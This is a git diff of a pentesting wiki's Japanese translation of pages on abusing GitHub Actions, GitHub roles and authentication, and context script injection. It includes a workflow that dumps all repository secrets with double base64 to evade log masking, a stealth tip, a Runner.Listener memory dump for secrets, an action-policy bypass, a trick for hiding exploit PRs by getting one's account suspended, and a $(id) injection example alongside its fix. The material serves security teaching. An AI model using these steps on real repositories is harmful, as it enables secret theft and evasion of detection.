-ワークフローは**他のワークフローやリポジトリからのアーティファクト**を使用することができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妥協**させることができれば、他のワークフローも**妥協**させることができます：
+Workflows は **artifacts from other workflows and even repos** を利用することがあります。攻撃者が後で別の workflow によって使用される artifact を **uploads an artifact** する Github Action を**compromise**できれば、別の workflow も**compromise**する可能性があります:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## アクションからのポストエクスプロイト
+## Post Exploitation from an Action
 
-### OIDCを介したAWSおよびGCPへのアクセス
+### Github Action Policies Bypass
 
-以下のページを確認してください：
+[**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で述べられているように、リポジトリや組織が特定の actions の利用を制限するポリシーを持っていても、攻撃者は単にワークフロー内で action をクローン（`git clone`）してローカル action として参照することができます。ポリシーはローカルパスに影響しないため、**その action は制限なしに実行されます。**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### OIDC 経由での AWS と GCP へのアクセス
+
+次のページを確認してください:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### シークレットへのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
+### 秘密へのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-スクリプトにコンテンツを注入している場合、シークレットにアクセスする方法を知っておくと興味深いです：
+スクリプトにコンテンツを注入する場合、シークレットへどのようにアクセスできるかを知っておくと役に立ちます:
 
-- シークレットまたはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
+- シークレットやトークンが **環境変数** に設定されている場合、**`printenv`** を使って環境から直接取得できます。
 
 <details>
 
-<summary>Github Action出力のシークレット一覧</summary>
+<summary>Github Action の出力にシークレットを一覧表示</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>シークレットを使ってリバースシェルを取得</summary>
+<summary>secrets を使って reverse shell を取得する</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- 秘密が**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。
+- secretが**直接式で使用される**場合、生成されたシェルスクリプトは**ディスク上に保存**され、アクセス可能になります。
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- JavaScriptアクションの場合、秘密は環境変数を通じて送信されます。
+- JavaScript actionsの場合、secretsは環境変数を通して渡されます
 - ```bash
 ps axe | grep node
 ```
-- **カスタムアクション**の場合、秘密を取得したプログラムの使用方法によってリスクが異なる可能性があります：
+- For a **custom action**, プログラムが**argument**から取得したsecretをどのように使用するかによってリスクは異なります:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### セルフホストランナーの悪用
+- secrets contextを使ってすべてのsecretsを列挙します（collaborator level）。書き込み権限を持つcontributorは任意のブランチのworkflowを変更して、リポジトリ/org/environmentのすべてのsecretsをダンプできます。GitHubのログマスキングを回避するためにdouble base64を使い、ローカルでデコードしてください:
 
-**Github Actionsが非Githubインフラストラクチャで実行されている**かどうかを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**セルフホスト**ランナーは、**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。また、隔離されて破壊されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**秘密を盗む**ことができます。
+ローカルでデコード:
 
-セルフホストランナーでは、**\_Runner.Listener**\_\*\*プロセスから**秘密を取得することも可能であり**、そのメモリをダンプすることでワークフローのすべての秘密を含むことができます：
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: テスト時のステルスのため、出力前に暗号化してください（opensslはGitHub-hosted runnersにプリインストールされています）。
+
+### Self-hosted runnersの悪用
+
+非GitHubインフラで実行されている**Github Actionsを見つける方法**は、Github Action設定yamlで**`runs-on: self-hosted`**を検索することです。
+
+**Self-hosted** runnersは**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。たとえ隔離され破棄される場合でも、**複数のactionが同時に実行されることがあり**、悪意あるものが他のactionの**secretsを奪う**可能性があります。
+
+self-hosted runnersでは、メモリをダンプすることで、ワークフローの任意のステップのすべてのsecretsを含む**secrets from the \_Runner.Listener**\_\*\* process\*\*を取得することも可能です:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-チェックしてください[**この投稿で詳細情報を確認**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Github Docker Images レジストリ
 
-Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\
-以下の展開可能な例を参照してください：
+Github actions を使って **Docker image をビルドして Github 内に保存する** ワークフローを作成することが可能です。\
+例は以下の展開可能なセクションにあります:
 
 <details>
 
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-前のコードで示したように、Githubレジストリは**`ghcr.io`**にホストされています。
+前述のコードから分かるように、Github レジストリは **`ghcr.io`** にホストされています。
 
-リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります：
+リポジトリに対して読み取り権限を持つユーザーは、personal access token を使用して Docker Image をダウンロードできます:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-その後、ユーザーは**Dockerイメージのレイヤー内の漏洩した秘密を検索することができます:**
+その後、ユーザーは**leaked secrets in the Docker image layers:**を検索できます：
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actionsログの機密情報
+### Github Actions ログの機密情報
 
-たとえ**Github**がアクションログ内の**秘密の値を検出し**、**表示を避けようとしても**、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。
+たとえ**Github**がアクションログ内の**シークレット値を検出し**、**表示を抑える**ようにしても、アクション実行中に生成され得る**その他の機密データ**は隠されません。例えば、秘密値で署名されたJWTは[特別に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)非表示になりません。
 
-## 足跡を隠す
+## 痕跡の隠蔽
 
-（[**ここからの技術**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)）まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除され**、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、GitHub上のすべての活動がインターネットから隠されます（基本的にすべてのエクスプロイトPRを削除します）。
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成されたPRはGithub上で公衆およびターゲットのGitHubアカウントから明確に見えます。GitHubではデフォルトでインターネット上のPRを**削除することはできません**が、ここにひとつの裏技があります。Githubによってアカウントが**suspended**されると、そのアカウントのすべての**PRsは自動的に削除され**インターネットから取り除かれます。したがって、自分の活動を隠すには、自分の**GitHub account suspended or get your account flagged**ように仕向ける必要があります。これによりGitHub上のあなたのすべての活動がインターネットから**隠されます**（基本的にはエクスプロイトPRをすべて削除することになります）。
 
-GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。必要なことは、Issueに「いくつかのもの」を共有するだけで、彼らはあなたのアカウントが12時間以内に停止されることを確認します :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。
+An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
 
 > [!WARNING]
-> 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。
+> 組織が自分たちが標的になったことを把握する唯一の方法は、GitHub UIからはPRが削除されるため、SIEMからGitHubログを確認することです。
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 591109f16..478c18c4c 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
 # Gh Actions - Context Script Injections
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+## リスクの理解
+
+GitHub Actions は、ステップ実行前に ${{ ... }} 式をレンダリングします。レンダリングされた値はステップのプログラムに貼り付けられます（for run steps, a shell script）。未検証の入力を run: 内に直接埋め込むと、攻撃者がシェルプログラムの一部を制御して任意のコマンドを実行できます。
+
+ドキュメント: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+要点:
+- レンダリングは実行の前に行われます。run スクリプトはすべての式が解決された状態で生成され、その後 shell によって実行されます。
+- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting inside run: は信頼できる防御ではありません。インジェクションはテンプレートのレンダリング段階で発生するため、攻撃者はクォートを破ったり細工された入力で演算子を注入したりできます。
+
+## 脆弱なパターン → RCE on runner
+
+脆弱なワークフロー（誰かが新しい issue を開いたときにトリガーされる）:
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+攻撃者がタイトルを $(id) にした issue を開くと、レンダリングされたステップは次のようになります:
+```sh
+echo "New issue $(id) created"
+```
+コマンド置換はランナー上で id を実行します。出力例：
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+クォートでは防げない理由:
+- 式はまずレンダリングされ、その結果できたスクリプトが実行されます。未検証の値に $(...), `;`, `"`/`'`, または改行が含まれていると、クォートしていてもプログラム構造を変更してしまう可能性があります。
+
+## 安全なパターン (shell variables via env)
+
+正しい対策: 未検証の入力を環境変数にコピーし、run スクリプト内でネイティブなシェル展開（$VAR）を使います。コマンド内で再び ${{ ... }} に埋め込んではいけません。
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+注意:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## 読者によりトリガー可能な箇所（未信頼として扱う）
+
+公開リポジトリに対して読み取り権限のみのアカウントでも多くのイベントをトリガーできます。これらのイベントから派生するコンテキスト内の任意のフィールドは、十分に検証されない限り攻撃者に制御されるものと見なすべきです。例:
+- issues, issue_comment
+- discussion, discussion_comment (orgs can restrict discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (誤用すると危険、base repo コンテキストで実行される)
+- fork (誰でも public repos を fork できる)
+- watch (リポジトリにスターを付けること)
+- workflow_run/workflow_call チェーン経由で間接的に
+
+どの具体的なフィールドが攻撃者に制御されるかはイベントごとに異なります。GitHub Security Lab の untrusted input guide を参照してください: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## 実用的なヒント
+
+- run: 内での expressions の使用を最小限にする。env: マッピング + $VAR を優先してください。
+- 入力を変換する必要がある場合は、シェルで安全なツール（printf %q、jq -r、など）を使用して処理し、常にシェル変数から始めてください。
+- ブランチ名、PR タイトル、ユーザー名、ラベル、discussion タイトル、PR head refs をスクリプト、コマンドラインフラグ、またはファイルパスに埋め込む際は特に注意してください。
+- 再利用可能な workflows や composite actions に対しても同じパターンを適用してください: env にマップしてから $VAR を参照する。
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 098a30357..1fc6148d0 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,156 +1,156 @@
-# 基本的なGithub情報
+# Githubの基本情報
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 基本構造
+## Basic Structure
 
-大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれが**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合があります。
+大きな**company**の基本的なgithub環境構造は、**enterprise**を所有し、そのenterpriseが**複数のorganizations**を所有し、それぞれが**複数の repositories**や**複数の teams**を含む可能性がある、というものです。小規模な会社は**1つのorganizationのみを所有し、enterpriseを持たない**場合もあります。
 
-ユーザーの観点から見ると、**ユーザー**は**異なるエンタープライズや組織のメンバー**であることができます。それらの中で、ユーザーは**異なるエンタープライズ、組織、リポジトリの役割**を持つことがあります。
+ユーザの観点からは、**user**は**異なるenterpriseやorganizationのmember**である可能性があります。これらの中でuserは**enterprise、organization、repositoryごとに異なる役割**を持つことがあります。
 
-さらに、ユーザーは**異なるチームの一員**であり、異なるエンタープライズ、組織、またはリポジトリの役割を持つことがあります。
+さらに、userは**異なるチームに所属**しており、チームごとにenterprise、organization、またはrepositoryの異なる役割を持つことがあります。
 
-最後に、**リポジトリには特別な保護メカニズム**がある場合があります。
+最後に、**repositoriesには特別な保護メカニズムがある場合があります。**
 
-## 権限
+## Privileges
 
-### エンタープライズの役割
+### Enterprise Roles
 
-- **エンタープライズオーナー**: この役割を持つ人々は、**管理者を管理し、エンタープライズ内の組織を管理し、エンタープライズ設定を管理し、組織全体にポリシーを強制する**ことができます。ただし、彼らは**組織の設定やコンテンツにアクセスすることはできません**。組織のオーナーに任命されるか、組織所有のリポジトリへの直接アクセスが与えられない限り。
-- **エンタープライズメンバー**: あなたのエンタープライズが所有する組織のメンバーは、**自動的にエンタープライズのメンバー**でもあります。
+- **Enterprise owner**: この役割を持つ人は **administratorsの管理、enterprise内のorganizations管理、enterprise設定の管理、organizations全体に対するポリシーの適用** ができます。ただし、organization ownerにされるかorganization所有のrepositoryへの直接アクセス権を与えられない限り、**organization設定やコンテンツへアクセスすることはできません。**
+- **Enterprise members**: enterpriseが所有するorganizationsのメンバーは**自動的にenterpriseのmembersにもなります。**
 
-### 組織の役割
+### Organization Roles
 
-組織内でユーザーは異なる役割を持つことができます：
+Organization内ではユーザは異なる役割を持てます:
 
-- **組織オーナー**: 組織オーナーは、**組織に対する完全な管理アクセス権**を持っています。この役割は制限されるべきですが、組織内で2人以上の人に制限する必要があります。
-- **組織メンバー**: **デフォルト**の非管理者役割は**組織メンバー**です。デフォルトでは、組織メンバーは**いくつかの権限を持っています**。
-- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報などです。
-- **セキュリティマネージャー**: 組織オーナーが組織内の任意のチームに割り当てることができる役割です。適用されると、チームのすべてのメンバーに**組織全体のセキュリティアラートや設定を管理する権限、ならびに組織内のすべてのリポジトリに対する読み取り権限**が与えられます。
-- 組織にセキュリティチームがある場合、セキュリティマネージャー役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。
-- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理する**ために、オーナーはGitHubアプリ管理者権限を付与できます。
-- **外部コラボレーター**: 外部コラボレーターは、**1つ以上の組織リポジトリにアクセスできるが、明示的に組織のメンバーではない**人です。
+- **Organization owners**: Organization ownersは**organizationに対する完全な管理アクセス**を持ちます。この役割は制限すべきですが、組織内で2人未満にしてはいけません。
+- **Organization members**: 組織内の人々に対する**デフォルトの非管理者ロール**はorganization memberです。デフォルトで、organization membersは**一定の権限を持ちます**。
+- **Billing managers**: Billing managersは、支払い情報など**organizationのbilling設定を管理できるユーザ**です。
+- **Security Managers**: Organization ownersがorganization内の任意のチームに割り当てられる役割です。適用されると、そのチームの全メンバーに**organization全体のsecurity alertsや設定の管理権限、ならびにorganization内のすべてのrepositoriesに対する読み取り権限**を与えます。
+- organizationにsecurity teamがある場合、security managerロールを使用してチームメンバーに組織への最小限のアクセスを与えることができます。
+- **Github App managers**: 組織が所有するGitHub Appsの管理を追加のユーザに許可するため、ownerは彼らにGitHub App manager権限を付与できます。
+- **Outside collaborators**: Outside collaboratorは**1つ以上のorganizationのrepositoryにアクセスを持つが、明示的にorganizationのmemberではない人**です。
 
-これらの役割の**権限を比較する**ことができます。この表で: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+これらの役割の権限を比較するにはこの表を参照してください: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### メンバーの権限
+### Members Privileges
 
-_https://github.com/organizations/\<org_name>/settings/member_privileges_ で、**組織の一部であることによってユーザーが持つ権限**を確認できます。
+_https://github.com/organizations/\<org_name>/settings/member_privileges_ では、**organizationに所属しているだけのユーザが持つ権限**を確認できます。
 
-ここで設定された内容は、組織のメンバーの以下の権限を示します：
+ここで設定された内容は組織メンバーの以下の権限を示します:
 
-- 組織のすべてのリポジトリに対して管理者、ライター、リーダー、または権限なしであること。
-- メンバーがプライベート、内部、またはパブリックリポジトリを作成できるかどうか。
-- リポジトリのフォークが可能かどうか。
-- 外部コラボレーターを招待できるかどうか。
-- 公開またはプライベートサイトを公開できるかどうか。
-- 管理者がリポジトリに対して持つ権限。
-- メンバーが新しいチームを作成できるかどうか。
+- 組織の全リポジトリに対して admin, writer, reader または権限なし のいずれかを持つかどうか。
+- メンバーが private、internal、public リポジトリを作成できるかどうか。
+- リポジトリの fork が可能かどうか。
+- Outside collaborators を招待できるかどうか。
+- public または private sites を公開できるかどうか。
+- administrators がリポジトリに対して持つ権限。
+- メンバーが新しい teams を作成できるかどうか。
 
-### リポジトリの役割
+### Repository Roles
 
-デフォルトでは、リポジトリの役割が作成されます：
+デフォルトでリポジトリのロールは以下が作成されます:
 
-- **読み取り**: **コードに貢献しない**人々がプロジェクトを表示または議論するために推奨されます。
-- **トリアージ**: **書き込みアクセスなしで問題やプルリクエストを積極的に管理する**必要がある貢献者に推奨されます。
-- **書き込み**: **プロジェクトに積極的にプッシュする**貢献者に推奨されます。
-- **メンテナンス**: **リポジトリを管理する必要があるプロジェクトマネージャー**に推奨されますが、機密または破壊的なアクションへのアクセスはありません。
-- **管理者**: **プロジェクトに完全にアクセスする必要がある**人々に推奨されます。これには、セキュリティの管理やリポジトリの削除などの機密かつ破壊的なアクションが含まれます。
+- **Read**: プロジェクトを閲覧または議論したい**非コード貢献者**に推奨。
+- **Triage**: 書き込み権限なしで **issues と pull requests を能動的に管理する必要がある貢献者**に推奨。
+- **Write**: プロジェクトに**積極的に push する貢献者**に推奨。
+- **Maintain**: 敏感または破壊的な操作へのアクセスなしで**リポジトリを管理するプロジェクトマネージャー**に推奨。
+- **Admin**: セキュリティ管理やリポジトリ削除などの敏感で破壊的な操作を含む、**プロジェクトに対するフルアクセスが必要な人**に推奨。
 
-各役割の**権限を比較する**ことができます。この表で [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+各ロールの権限を比較するにはこの表を参照してください: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-また、_https://github.com/organizations/\<org_name>/settings/roles_ で**独自の役割を作成する**こともできます。
+独自のロールを作成することもできます: _https://github.com/organizations/\<org_name>/settings/roles_
 
-### チーム
+### Teams
 
-_https://github.com/orgs/\<org_name>/teams_ で、**組織内に作成されたチームをリスト**できます。他のチームの子チームを表示するには、各親チームにアクセスする必要があります。
+組織内で作成されたチームを一覧表示するには _https://github.com/orgs/\<org_name>/teams/_ を参照してください。子チーム（他のチームの子）を表示するには各親チームにアクセスする必要がある点に注意してください。
 
-### ユーザー
+### Users
 
-組織のユーザーは、_https://github.com/orgs/\<org_name>/people_ で**リスト**できます。
+組織のユーザは _https://github.com/orgs/\<org_name>/people._ で**一覧表示**できます。
 
-各ユーザーの情報には、**ユーザーがメンバーであるチーム**や、**ユーザーがアクセスできるリポジトリ**が表示されます。
+各ユーザの情報では、そのuserが**所属しているteams**や**アクセス権を持つrepos**を確認できます。
 
-## Github認証
+## Github Authentication
 
-Githubは、アカウントに認証し、あなたの代わりにアクションを実行するためのさまざまな方法を提供しています。
+Githubはアカウントに認証し、代わりにアクションを実行するためのさまざまな方法を提供します。
 
-### ウェブアクセス
+### Web Access
 
-**github.com**にアクセスすると、**ユーザー名とパスワード**（および**2FA**が必要な場合があります）を使用してログインできます。
+**github.com**にアクセスすると、**username と password**（および**2FA**の場合あり）でログインできます。
 
-### **SSHキー**
+### **SSH Keys**
 
-1つまたは複数の公開鍵でアカウントを構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できる**ようにします。[https://github.com/settings/keys](https://github.com/settings/keys)
+アカウントに1つまたは複数のpublic keysを設定すると、対応する**private keyがあなたに代わってアクションを実行できる**ようになります。 [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPGキー**
+#### **GPG Keys**
 
-これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。詳細については、[ここで警戒モードについて学んでください](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
+これらのkeysで**ユーザをなりすますことはできません**が、署名なしでコミットを送ると**発覚する可能性がある**ため、使用していないと検出されることがあります。[vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) を参照してください。
 
-### **個人アクセストークン**
+### **Personal Access Tokens**
 
-アプリケーションに**アカウントへのアクセスを与える**ために個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定**する必要があります。[https://github.com/settings/tokens](https://github.com/settings/tokens)
+personal access tokenを生成して、**アプリケーションにあなたのアカウントへのアクセスを与える**ことができます。personal access tokenを作成する際、**userはtokenが持つ権限を指定する必要があります。** [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Oauthアプリケーション
+### Oauth Applications
 
-Oauthアプリケーションは、**あなたのGithub情報の一部にアクセスするための権限を要求したり、あなたを偽装していくつかのアクションを実行したりする**ことがあります。この機能の一般的な例は、いくつかのプラットフォームで見られる**Githubでログインボタン**です。
+Oauth applicationsはあなたのgithub情報の一部にアクセスする、またはあなたをなりすましていくつかのアクションを実行するための権限を要求することがあります。一般的な例としては、他のプラットフォームで見かける**login with github ボタン**があります。
 
-- [https://github.com/settings/developers](https://github.com/settings/developers) で独自の**Oauthアプリケーションを作成**できます。
-- [https://github.com/settings/applications](https://github.com/settings/applications) で、**あなたのアカウントにアクセス権を持つすべてのOauthアプリケーション**を確認できます。
-- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で、**Oauthアプリが要求できるスコープ**を確認できます。
-- _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で、組織内のアプリケーションのサードパーティアクセスを確認できます。
+- 自分の **Oauth applications** は [https://github.com/settings/developers](https://github.com/settings/developers) で作成できます。
+- あなたのアカウントにアクセス権を持つ **Oauth applications** の一覧は [https://github.com/settings/applications](https://github.com/settings/applications) で確認できます。
+- Oauth Appsが要求できる **scopes** は [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で確認できます。
+- 組織におけるサードパーティアプリケーションのアクセスは _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で確認できます。
 
-いくつかの**セキュリティ推奨事項**：
+いくつかの**セキュリティ推奨**:
 
-- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです（たとえば、ユーザー通知を提供する場合）し、指定されたスコープにのみアクセスします。
-- OAuthアプリは、認証されたユーザーのために「GitHubでログイン」を有効にすることで、アイデンティティプロバイダーとして使用できます。
-- **単一のリポジトリ**でアクションを実行するアプリケーションを作成したい場合は、**OAuthアプリ**を構築しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。
-- **チームや会社のためのアプリケーションとして機能する**ためにOAuthアプリを構築しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社のためにOAuthアプリを作成し、その後会社を離れた場合、他の誰もそれにアクセスできなくなります。
-- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)で。
+- **OAuth App**は常に**認証されたGitHubユーザとしてGitHub全体で動作**すべき（例：ユーザ通知の提供時など）、かつ指定されたscopeのみにアクセスするべきです。
+- OAuth Appは"Login with GitHub"を有効にすることで、identity providerとして使えます。
+- **単一のリポジトリ上でアプリを動かしたい場合はOAuth Appを構築しないでください。** `repo` OAuth scopeを使うと、OAuth Appsは**認証ユーザのすべての repositories に対して動作できてしまいます。**
+- **チームや会社として動作させたいだけならOAuth Appを作らないでください。** OAuth Appsは**単一のユーザとして認証**するため、ある人が会社用にOAuth Appを作成して退職すると、他の人がアクセスできなくなります。
+- 詳細は [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) を参照してください。
 
-### Githubアプリケーション
+### Github Applications
 
-Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりする**ための権限を要求できます。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。
+Github applicationsは特定のリソースに対して**github情報へのアクセスやなりすましを行う権限**を要求できます。Github Appsではアプリがアクセスするrepositoriesを指定する必要があります。
 
-- GitHubアプリをインストールするには、**組織のオーナーまたはリポジトリの管理者権限**を持っている必要があります。
-- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
-- [https://github.com/settings/apps](https://github.com/settings/apps) で独自のGithubアプリケーションを作成できます。
-- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で、**あなたのアカウントにアクセス権を持つすべてのGithubアプリケーション**を確認できます。
-- これらは**GithubアプリケーションのAPIエンドポイント**です [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。
-- _https://github.com/organizations/\<org_name>/settings/installations_ で、組織内のインストールされたアプリを確認できます。
